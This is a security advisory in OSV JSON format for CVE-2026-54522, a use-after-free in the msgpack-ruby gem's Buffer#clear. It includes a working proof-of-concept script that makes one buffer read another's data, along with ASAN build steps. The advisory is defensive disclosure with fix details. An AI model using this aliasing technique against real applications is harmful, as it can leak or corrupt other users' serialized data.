CVE-2026-54522: MessagePack :Buffer#clear Use-After-Free That Enables Cross-Buffer Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4mrv-5p47-p938",
  "modified" : "2026-07-30T16:33:12Z",
  "published" : "2026-07-30T16:33:12Z",
  "aliases" : [ "CVE-2026-54522" ],
  "summary" : "MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure",
  "details" : "### Summary\n`MessagePack::Buffer#clear` shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (`rmem_last`, `rmem_end`, `rmem_owner`). The next write sees \"unused rmem space\" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second `MessagePack::Buffer` then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).\n\n### Details\n- `msgpack_buffer_clear()` → `_msgpack_buffer_shift_chunk()` (`ext/msgpack/buffer.c:151`, `:128`) destroys chunks (`_msgpack_buffer_chunk_destroy`, `:58`, returns the page via `msgpack_rmem_free`) but resets only `tail_buffer_end`/`read_buffer`, leaving `rmem_last`/`rmem_end`/`rmem_owner` pointing into the freed page.\n- Next `Buffer#write` → `_msgpack_buffer_chunk_malloc()` reuse branch (`:363`) returns `b->rmem_last`, a pointer into the already-freed page.\n- A second buffer's first write calls `msgpack_rmem_alloc()` and gets the same physical page back from the pool → the two buffers alias the same memory.\n- Sanitizer note: rmem (`ext/msgpack/rmem.h`) recycles pages with a slab bitmask, not `free()`, so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.\n\n### PoC\nSingle self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):\n\n```bash\nset -e\nWORK=\"$(mktemp -d)\"; cd \"$WORK\"\n\n# 1) PoC\ncat > poc.rb <<'RUBY'\nb1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)\nb1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)\nb1.clear\nb1.write('C' * 128)\nsecret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)\nb2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)\nb2.write(secret)\nleaked = b1.read_all\ndonor  = b2.read_all\nputs 'b1_first64:' + leaked.byteslice(0, 64)\nputs 'b2_donor64:' + donor.byteslice(200, 64)\nputs 'leaked_is_C:' + (leaked == 'C' * 128).to_s\nputs 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s\nRUBY\n\n# 2) ASAN build of msgpackfrom rubygems\ncat > Dockerfile <<'DOCKER'\nFROM ruby:3.3-bookworm\nRUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*\nRUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \\\n    cd msgpack-1.8.1/ext/msgpack && \\\n    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \\\n    make -j\"$(nproc)\" && cp msgpack.so ../../lib/msgpack/msgpack.so\nDOCKER\ndocker build -t msgpack-asan-poc .\n\n# 3) Run under ASAN\ndocker run --rm -v \"$WORK/poc.rb:/poc.rb:ro\" msgpack-asan-poc \\\n  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'\n```\n\nExpected output:\n```\nb1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD\nb2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD\nleaked_is_C:false\ncross_buffer_match:true\n```\n\n### Impact\nSame-process cross-buffer information disclosure and corruption: after `clear` + reuse, one `MessagePack::Buffer` aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the `MessagePack::Buffer` API with a `clear`/reuse lifecycle (a supported performance pattern); not reachable from a plain `unpack` byte stream. Real-world severity **Low–Medium**; clear memory-safety defect with a small, localized fix.\n\n### Credit\nPranjali Thakur - depthfirst ([depthfirst.com](<http://depthfirst.com>))",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "RubyGems",
      "name" : "msgpack"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.8.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.8.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/msgpack/msgpack-ruby/security/advisories/GHSA-4mrv-5p47-p938"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/msgpack/msgpack-ruby/commit/5627d71606b565641d2dd501b82aae862f4abe90"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/msgpack/msgpack-ruby"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/msgpack/CVE-2026-54522.yml"
  }, {
    "type" : "WEB",
    "url" : "https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-54522"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-416" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-30T16:33:12Z",
    "nvd_published_at" : null
  }
}